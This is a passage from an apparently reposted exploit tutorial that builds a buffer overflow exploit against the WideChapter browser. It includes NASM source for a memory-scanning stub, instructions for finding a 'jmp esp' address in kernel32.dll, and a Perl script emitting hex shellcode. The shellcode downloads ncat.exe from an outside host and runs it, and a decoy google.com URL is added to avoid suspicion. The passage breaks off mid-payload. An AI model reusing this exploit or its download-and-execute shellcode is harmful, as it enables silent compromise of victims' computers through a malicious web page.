] ----------------------- The more observant of you may have noticed that I have used two new instructions, do you remember them? ----------------------------------------------------------------------------- || Instruction || Usage                                                     || ----------------------------------------------------------------------------- || repne       || Repeat following instruction while zero flag is not set. || ----------------------------------------------------------------------------- || scasb       || Scan string for byte. This doesn't treat the string as   || ||             || asciiz, it just scans the memory until it hits a specific|| ||             || byte (contained in the al register), then it sets the     || ||             || zero flag.                                               || ||             || Used in context 'repne scasb', when the byte is matched   || ||             || it will set the zero flag, and upon the next 'repne' it   || ||             || will stop scanning. Scasb searches from the address       || ||             || pointed to in the edi register, incrementing it each     || ||             || time round.                                               || ----------------------------------------------------------------------------- Once again, I recommend that you try and understand what is going on by printing off the little table and comparing it with the instructions used in the shellcode, since it may help you in future to actually have an understanding of some of these instructions. Section 6: Writing More Shellcode Or Finding The Buffer. ======================================================== If you've made it this far, it's all down hill from here - the hardest part is long gone! Give yourself a pat on the back for your sheer stamina levels! There is just one more relatively tiny part of shellcode to write, and that is the part which scans the memory for the buffer. Since it uses instructions which we have already covered, I won't stand on ceremony: ;---------------------- [ subcode.asm ] ---------------------- ; WideChapter Sub-Shellcode ; [[email protected]] ; ; nasmw -s -fbin -o subcode.s subcode.asm ; ; Scans from 001bc201h until it hits the 'BASE' string, tacked on ; to the front of the shellcode. ; This is done because the shellcode tends to lie at a range of ; addresses which are dynamically allocated at runtime. bits 32 push 011bc201h             ; area to scan + 01000000h to avoid null dec byte [esp+03h]         ; [esp+03] = 01h pop edi                     ; area to scan - 01000000h to add null scan: inc dword edi               ; increment edi cmp byte [edi], 42h         ; compare the byte at edi with 42h jne scan                   ; if unequal, start again ... cmp dword [edi], 45534142h ; 'BASE', signifies start of shellcode jne scan                   ; if not 'BASE', start again ... lea eax, [edi+10h]         ; aims past base, into the nulls jmp eax                     ; jump to null shellcode sled ;---------------------- [ END OF FILE ] ---------------------- This will scan from 001bc201 until it finds the text 'BASE', as in 'BASECODE' which must be placed at the start of the buffer, followed by around 22 'nops' (to ensure that we don't miss the start of our code), which in turn must be followed by our main url download and execute shellcode. I will also precede the entire string by 'http://www.google.com/' in the event that the exploit fails, or another browser accesses the page, to avoid suspiciousness. Section 7: Writing The Exploit. =============================== From here onwards, all that is required is precision. The instruction pointer must be overwritten with the address of a 'call/jmp esp' instruction in a loaded module. So that is what we must do first. Load your favourite executable disassembler (I will be using hiew 6.11), and search kernel32.dll for the bytes: FF D4 (call esp) Or .. FF E4 (jmp esp) And note the offset at which these appear. I recommended that you use a disassembler instead of a hex editor, because the absolute address should be given. Mine is at offset 77e9ae59 in the memory. Sometimes these are different through service packs though, so for a little exercise try and find one in another custom module which is imported by WideChapter. Next assemble both of the shellcodes with nasm, using the following instructions: nasmw -s -fbin -o tinymod4.s tinymod4.asm nasmw -s -fbin -o subcode.s subcode.asm Then check the file sizes of the .s files, they should be as follows: subcode.s     30 bytes tinymod4.s   244 bytes Then, open your favourite hex editor (I use frhed), and create the following file exactly as below: Remove one new line from before and after the 'var url ...' string. The filesize should come to exactly 667 bytes. If you find this description a bit too confusing, install the perl interpreter from: http://www.activestate.com/Products/Download/Download.plex?id=ActivePerl And run the following file: #---------------------- [ wcfile.pl ] ------------------------ #!/usr/bin/perl -w $shellcode = "" . "x3cx68x74x6dx6cx3ex0dx0ax3cx62x6fx64" . "x79x3ex0dx0ax3cx73x63x72x69x70x74x20" . "x6cx61x6ex67x75x61x67x65x3dx6ax61x76" . "x61x73x63x72x69x70x74x3ex0dx0ax76x61" . "x72x20x75x72x6cx20x3dx20x22x68x74x74" . "x70x3ax2fx2fx77x77x77x2ex67x6fx6fx67" . "x6cx65x2ex63x6fx6dx2fx42x41x53x45x43" . "x4fx44x45x90x90x90x90x90x90x90x90x90" . "x90x90x90x90x90x90x90x90x90x90x90x90" . "x90xebx1fx5ex5ax5fx59x5bx47x88xd8xf2" . "xaexebx01x90x4fx56xffx37x5ex39xf3x5e" . "x74x02xebxecx29xd7xffxd7xffxe6xebx28" . "x5fx89xfex47x80x3fxffx75xfaxfex07x47" . "x89xfbx47x80x3fxffx75xfaxfex07x47x89" . "xfax47x80x3fxffx75xfaxfex07x47x52x53" . "x52x56xebx02xebx6ax56x68xffx5ex5bxc2" . "x68xdexcfxadxdex68x01x01xe6x77x31xd2" . "xb2x2ex52xe8x9bxffxffxffx5ex5ax5bx52" . "x52x31xc9x51x51x52x53x51x68x02x56x8d" . "x8dx68xedxfdxdcxbax50x31xd2xb2x1bx52" . "xe8x7axffxffxffx90x90x5ax5ax31xc9x51" . "x52x68x66x8bx45x0cx68xfdxf0x37x13x68" . "x01x01xe6x77x31xd2xb2x16x52xe8x59xff" . "xffxffxb9xdexcfxadxdex41x81xf9xedxfd" . "xdcxbaxe0xf7xe8x67xffxffxffx55x52x4c" . "x4dx4fx4ex2ex44x4cx4cxffx68x74x74x70" . "x3ax2fx2fx77x77x77x2ex65x6cx69x74x65" . "x68x61x76x65x6ex2ex6ex65x74x2fx6ex63" . "x61x74x2ex65x78x65xffx63x3ax5cx6ex63" . "x2ex65x78x65xffx61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x61" . "x61x61x61x61x61x61x61x61x61x61x61x

相关文摘:软件资讯 windows
标题名称:《Parallels expolit》
本文网址:https://www.yika.net.cn/haoyou/tpart-740.html